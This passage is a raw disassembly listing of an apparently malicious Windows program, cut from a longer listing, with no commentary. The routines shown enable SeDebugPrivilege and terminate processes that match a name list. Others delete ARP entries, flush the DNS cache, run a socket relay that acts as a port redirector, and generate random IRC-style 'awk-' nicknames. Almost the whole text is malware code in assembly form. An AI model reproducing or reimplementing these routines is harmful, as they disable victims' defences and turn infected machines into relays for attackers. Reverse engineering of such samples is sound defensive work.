; ---------------------------------------------------------------------------


loc_411535:				; CODE XREF: .text:004114AFj
					; .text:004114C6j ...
		xor	eax, eax


loc_411537:				; CODE XREF: .text:00411533j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db 26h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411561	proc near		; CODE XREF: sub_4011C2j

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_49169C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_411589
		push	[esp+arg_0]
		call	dword_4916E0	; gethostbyname
		test	eax, eax
		jnz	short loc_411582
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_411582:				; CODE XREF: sub_411561+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_411589:				; CODE XREF: sub_411561+Dj
		retn
sub_411561	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411594	proc near		; CODE XREF: sub_4010CDj
		mov	ecx, dword_491584
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_4115A2
		call	ecx	; DnsFlushResolverCache

locret_4115A2:				; CODE XREF: sub_411594+Aj
		retn
sub_411594	endp

; ---------------------------------------------------------------------------
		db 3 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4115A6	proc near		; CODE XREF: sub_40101Ej

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4916D8	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_41166C
		sub	ecx, 32h
		jz	loc_411665
		sub	ecx, 48h
		jz	short loc_411606
		sub	ecx, 6Eh
		jz	short loc_4115FF


loc_4115E8:				; CODE XREF: sub_4115A6+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset dword_431704
		push	eax
		call	sub_416821
		add	esp, 0Ch
		jmp	short loc_411646
; ---------------------------------------------------------------------------


loc_4115FF:				; CODE XREF: sub_4115A6+40j
		push	offset dword_4316CC
		jmp	short loc_411638
; ---------------------------------------------------------------------------


loc_411606:				; CODE XREF: sub_4115A6+3Bj
		push	[ebp+var_8]
		call	sub_415CF8
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_415CA0
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_411633
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4916D8	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_41166C
		jmp	short loc_4115E8
; ---------------------------------------------------------------------------


loc_411633:				; CODE XREF: sub_4115A6+79j
		push	offset dword_431684


loc_411638:				; CODE XREF: sub_4115A6+5Ej
					; sub_4115A6+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_411646:				; CODE XREF: sub_4115A6+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_401014
		pop	ecx


loc_411656:				; CODE XREF: sub_4115A6+C8j
					; sub_4115A6+DCj
		push	esi
		call	sub_415D6C
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_411665:				; CODE XREF: sub_4115A6+32j
		push	offset dword_431640
		jmp	short loc_411638
; ---------------------------------------------------------------------------


loc_41166C:				; CODE XREF: sub_4115A6+29j
					; sub_4115A6+89j
		cmp	[esi], edi
		jbe	short loc_411656
		lea	ebx, [esi+4]


loc_411673:				; CODE XREF: sub_4115A6+DAj
		push	ebx
		call	dword_4916D4	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_411673
		jmp	short loc_411656
sub_4115A6	endp

; ---------------------------------------------------------------------------
		db 37h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116BB	proc near		; CODE XREF: sub_401299j

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_491600	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4924F8
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_416821
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4116BB	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41172A	proc near		; CODE XREF: sub_40120Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_411753
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_411746:				; CODE XREF: sub_41172A+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_411746
		pop	edi
		jmp	short loc_411757
; ---------------------------------------------------------------------------


loc_411753:				; CODE XREF: sub_41172A+Aj
		mov	edx, [esp+4+arg_0]


loc_411757:				; CODE XREF: sub_41172A+27j
		test	esi, esi
		pop	esi
		jz	short loc_411761
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_411761:				; CODE XREF: sub_41172A+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_41172A	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41178A:				; CODE XREF: .text:004012ADj
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp-4], esi
		jle	short loc_4117B7
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_4117A9:				; CODE XREF: .text:004117B1j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_4117A9
		pop	edi
		cmp	eax, 1


loc_4117B7:				; CODE XREF: .text:0041179Dj
		jnz	short loc_4117C4
		mov	al, [edx]
		mov	[ebp-4], al
		movzx	eax, word ptr [ebp-4]
		add	esi, eax


loc_4117C4:				; CODE XREF: .text:loc_4117B7j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		leave
		retn
; ---------------------------------------------------------------------------
		db 14h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4117F1	proc near		; CODE XREF: sub_401262j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:dword_4953F4	; GetCurrentProcess
		push	eax
		call	dword_491640	; OpenProcessToken
		test	eax, eax
		jnz	short loc_411810
		leave
		retn
; ---------------------------------------------------------------------------


loc_411810:				; CODE XREF: sub_4117F1+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_491618	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_41184E
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_411837
		or	[ebp+var_8], 2
		jmp	short loc_41183B
; ---------------------------------------------------------------------------


loc_411837:				; CODE XREF: sub_4117F1+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41183B:				; CODE XREF: sub_4117F1+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4916C8	; AdjustTokenPrivileges
		mov	esi, eax


loc_41184E:				; CODE XREF: sub_4117F1+32j
		push	[ebp+var_4]
		call	ds:dword_495358	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4117F1	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411876	proc near		; CODE XREF: sub_401280j

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_49167C, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_411A75
		cmp	dword_491660, ebx
		jz	loc_411A75
		cmp	dword_49157C, ebx
		jz	loc_411A75
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_401262
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_49167C	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_411A68
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_491660	; Process32First
		mov	esi, ds:dword_495358
		test	eax, eax
		jz	loc_411A63
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_49157C	; Process32Next
		test	eax, eax
		jz	loc_411A63
		mov	edi, ds:dword_495398
		mov	ebx, 1F0FFFh


loc_41193A:				; CODE XREF: sub_411876+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4119A1
		mov	[ebp+var_4], offset off_43174C


loc_411948:				; CODE XREF: sub_411876+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	ds:dword_4953FC	; lstrcmpi
		test	eax, eax
		jz	short loc_411970
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43210C
		jl	short loc_411948
		jmp	loc_411A49
; ---------------------------------------------------------------------------


loc_411970:				; CODE XREF: sub_411876+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_411A49
		push	0
		push	eax
		call	ds:dword_4953F8	; TerminateProcess
		test	eax, eax
		jnz	loc_411A49


loc_411997:				; CODE XREF: sub_411876+1B9j
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_411A49
; ---------------------------------------------------------------------------


loc_4119A1:				; CODE XREF: sub_411876+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_411A34
		cmp	[ebp+arg_4], eax
		jz	loc_411A49
		push	[ebp+var_128]
		push	8
		call	dword_49167C	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_4119F4
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_491528	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_4119FA
		lea	eax, [ebp+var_234]
		jmp	short loc_411A00
; ---------------------------------------------------------------------------


loc_4119F4:				; CODE XREF: sub_411876+15Cj
		push	[ebp+var_128]


loc_4119FA:				; CODE XREF: sub_411876+174j
		lea	eax, [ebp+var_10C]


loc_411A00:				; CODE XREF: sub_411876+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_416821
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h
		jmp	loc_411997
; ---------------------------------------------------------------------------


loc_411A34:				; CODE XREF: sub_411876+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411A7C


loc_411A49:				; CODE XREF: sub_411876+F5j
					; sub_411876+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_49157C	; Process32Next
		test	eax, eax
		jnz	loc_41193A
		xor	ebx, ebx


loc_411A63:				; CODE XREF: sub_411876+9Dj
					; sub_411876+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_411A68:				; CODE XREF: sub_411876+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_401262
		pop	ecx
		pop	ecx


loc_411A75:				; CODE XREF: sub_411876+3Aj
					; sub_411876+46j ...
		xor	eax, eax


loc_411A77:				; CODE XREF: sub_411876+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_411A7C:				; CODE XREF: sub_411876+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	ds:dword_4953F8	; TerminateProcess
		test	eax, eax
		jnz	short loc_411AA0
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_411A75
; ---------------------------------------------------------------------------


loc_411AA0:				; CODE XREF: sub_411876+223j
		push	1
		pop	eax
		jmp	short loc_411A77
sub_411876	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_411B30:				; CODE XREF: sub_401316j
		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-98h]
		push	offset dword_434928
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp-298h]
		push	eax
		call	sub_416821
		xor	esi, esi
		pop	ecx
		cmp	[ebp-8], esi
		pop	ecx
		jnz	short loc_411B8F
		push	esi
		lea	eax, [ebp-298h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		push	dword ptr [ebp-98h]
		call	sub_4010D2
		add	esp, 14h


loc_411B8F:				; CODE XREF: .text:00411B6Dj
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-94h]
		push	esi
		push	esi
		push	dword ptr [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-98h]
		call	sub_401280
		add	esp, 18h
		test	eax, eax
		jnz	short loc_411BB7
		push	offset dword_4348F0
		jmp	short loc_411BBC
; ---------------------------------------------------------------------------


loc_411BB7:				; CODE XREF: .text:00411BAEj
		push	offset dword_4348BC


loc_411BBC:				; CODE XREF: .text:00411BB5j
		lea	eax, [ebp-298h]
		push	eax
		call	sub_416821
		cmp	[ebp-8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_411BEF
		push	esi
		lea	eax, [ebp-298h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		push	dword ptr [ebp-98h]
		call	sub_4010D2
		add	esp, 14h


loc_411BEF:				; CODE XREF: .text:00411BCDj
		lea	eax, [ebp-298h]
		push	eax
		call	sub_401014
		push	dword ptr [ebp-14h]
		call	sub_4012A3
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_495334	; ExitThread
		pop	edi
		pop	esi
; ---------------------------------------------------------------------------
		db 37h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411C45	proc near		; CODE XREF: sub_40124Ej

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	ds:dword_495398	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_411C77
		push	0
		push	esi
		call	ds:dword_4953F8	; TerminateProcess
		test	eax, eax
		jnz	short loc_411C77
		push	esi
		xor	edi, edi
		call	ds:dword_495358	; CloseHandle


loc_411C77:				; CODE XREF: sub_411C45+1Aj
					; sub_411C45+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_411C45	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411C89	proc near		; CODE XREF: sub_401357j
		push	esi
		xor	esi, esi


loc_411C8C:				; CODE XREF: sub_411C89+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_401280
		add	esp, 18h
		push	dword_431748
		call	ds:dword_495324	; Sleep
		jmp	short loc_411C8C
sub_411C89	endp

; ---------------------------------------------------------------------------
		db 8 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CB1	proc near		; CODE XREF: sub_40133Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_416B18
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_427578
		call	sub_415ECC
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_411CB1	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(0CCh)
; ---------------------------------------------------------------------------


loc_411CED:				; CODE XREF: .text:00401253j
		call	sub_416B18
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
; ---------------------------------------------------------------------------


loc_411CFD:				; CODE XREF: sub_4011C7j
		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-14Ch]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp-10h]
		push	ebx
		push	esi
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		push	dword ptr [ebp-40h]
		call	dword_49165C	; htons
		push	6
		push	edi
		push	2
		mov	[ebp-0Eh], ax
		mov	[ebp-0Ch], esi
		mov	[ebp+8], ebx
		call	dword_4916DC	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_411E61
		mov	eax, [ebp-3Ch]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_43E92C[eax], ebx
		call	dword_491578	; WSAAsyncSelect
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	ebx
		call	dword_491688	; bind
		test	eax, eax
		jnz	loc_411E61
		push	0Ah
		push	ebx
		call	dword_491684	; listen
		test	eax, eax
		jnz	loc_411E61


loc_411DA7:				; CODE XREF: .text:00411DBBj
					; .text:00411E3Cj
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	ebx
		call	dword_4916F0	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_411DA7
		movzx	eax, word ptr [ebp-22h]
		push	dword ptr [ebp-3Ch]
		mov	[ebp-148h], edi
		mov	[ebp-2Ch], esi
		push	eax
		push	dword ptr [ebp-20h]
		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp-34Ch]
		push	offset dword_4349B0
		push	eax
		call	sub_416821
		push	edi
		lea	eax, [ebp-34Ch]
		push	10h
		push	eax
		call	sub_40105F
		mov	[ebp-38h], eax
		imul	eax, 234h
		mov	ecx, [ebp-3Ch]
		add	esp, 20h
		mov	dword_43E924[eax], ecx
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-14Ch]
		push	esi
		push	eax
		push	offset sub_401055
		push	esi
		push	esi
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp-38h]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E934[ecx], eax
		jz	short loc_411E4C


loc_411E39:				; CODE XREF: .text:00411E4Aj
		cmp	[ebp-2Ch], esi
		jnz	loc_411DA7
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_411E39
; ---------------------------------------------------------------------------


loc_411E4C:				; CODE XREF: .text:00411E37j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset dword_43495C
		call	sub_4012B2
		pop	ecx
		pop	ecx
		jmp	short loc_411E64
; ---------------------------------------------------------------------------


loc_411E61:				; CODE XREF: .text:00411D5Ej
					; .text:00411D90j ...
		mov	edi, [ebp+8]


loc_411E64:				; CODE XREF: .text:00411E5Fj
		push	edi
		call	dword_4916F4	; closesocket
		push	ebx
		call	dword_4916F4	; closesocket
		push	dword ptr [ebp-3Ch]
		call	sub_4012A3
		pop	ecx
		push	esi
		call	ds:dword_495334	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
; ---------------------------------------------------------------------------
		db 62h dup(0CCh)
; ---------------------------------------------------------------------------


loc_411EE7:				; CODE XREF: sub_401055j
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_416880
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4916DC	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_41209D
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_49165C	; htons
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_49169C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_411F77
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4916E0	; gethostbyname
		jmp	short loc_411F85
; ---------------------------------------------------------------------------


loc_411F77:				; CODE XREF: .text:00411F66j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_491614	; gethostbyaddr


loc_411F85:				; CODE XREF: .text:00411F75j
		cmp	eax, edi
		jz	loc_41209D
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_491604	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41209D
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp-344h]
		push	offset dword_434A68
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_40105F
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E92C[ebx]
		mov	dword_43E924[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E930[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset sub_4011D1
		push	edi
		push	edi
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E934[ecx], eax
		jz	short loc_41208A


loc_412037:				; CODE XREF: .text:00412044j
		cmp	[ebp-20h], edi
		jnz	short loc_412046
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_412037
; ---------------------------------------------------------------------------


loc_412046:				; CODE XREF: .text:0041203Aj
		mov	ebx, 1000h


loc_41204B:				; CODE XREF: .text:00412086j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_491674	; recv
		cmp	eax, edi
		jle	short loc_41209D
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41204B
		jmp	short loc_41209D
; ---------------------------------------------------------------------------


loc_41208A:				; CODE XREF: .text:00412035j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434A10
		call	sub_4012B2
		pop	ecx
		pop	ecx


loc_41209D:				; CODE XREF: .text:00411F2Bj
					; .text:00411F87j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E92C[eax]
		call	dword_4916F4	; closesocket
		push	dword ptr [ebp+8]
		call	dword_4916F4	; closesocket
		push	dword ptr [ebp-4]
		call	sub_4012A3
		pop	ecx
		push	edi
		call	ds:dword_495334	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
; ---------------------------------------------------------------------------
		db 79h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412147:				; CODE XREF: sub_4011D1j
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_416880
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41217E:				; CODE XREF: .text:004121C3j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E930[esi]
		call	dword_491674	; recv
		test	eax, eax
		jle	short loc_4121C5
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E92C[esi]
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41217E


loc_4121C5:				; CODE XREF: .text:004121A8j
		push	dword_43E930[esi]
		call	dword_4916F4	; closesocket
		push	dword ptr [ebp-14h]
		call	sub_4012A3
		pop	ecx
		push	0
		call	ds:dword_495334	; ExitThread
		pop	edi
		pop	esi
; ---------------------------------------------------------------------------
		db 27h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41220B	proc near		; CODE XREF: sub_401046j

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_495340	; GetTickCount
		push	eax
		call	sub_416B0E
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aAwk ; "awk-"
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_4163D7
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42C928, esi
		jle	short loc_412264


loc_41223E:				; CODE XREF: sub_41220B+57j
		call	sub_416B18
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_4163D7
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42C928
		jl	short loc_41223E


loc_412264:				; CODE XREF: sub_41220B+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41220B	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412280	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_495340	; GetTickCount
		push	eax
		call	sub_416B0E
		pop	ecx
		call	sub_416B18
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42C928
		test	esi, esi
		jle	short loc_4122C3


loc_4122AD:				; CODE XREF: sub_412280+41j
		call	sub_416B18
		push	1Ah
		cdq
		pop	ecx
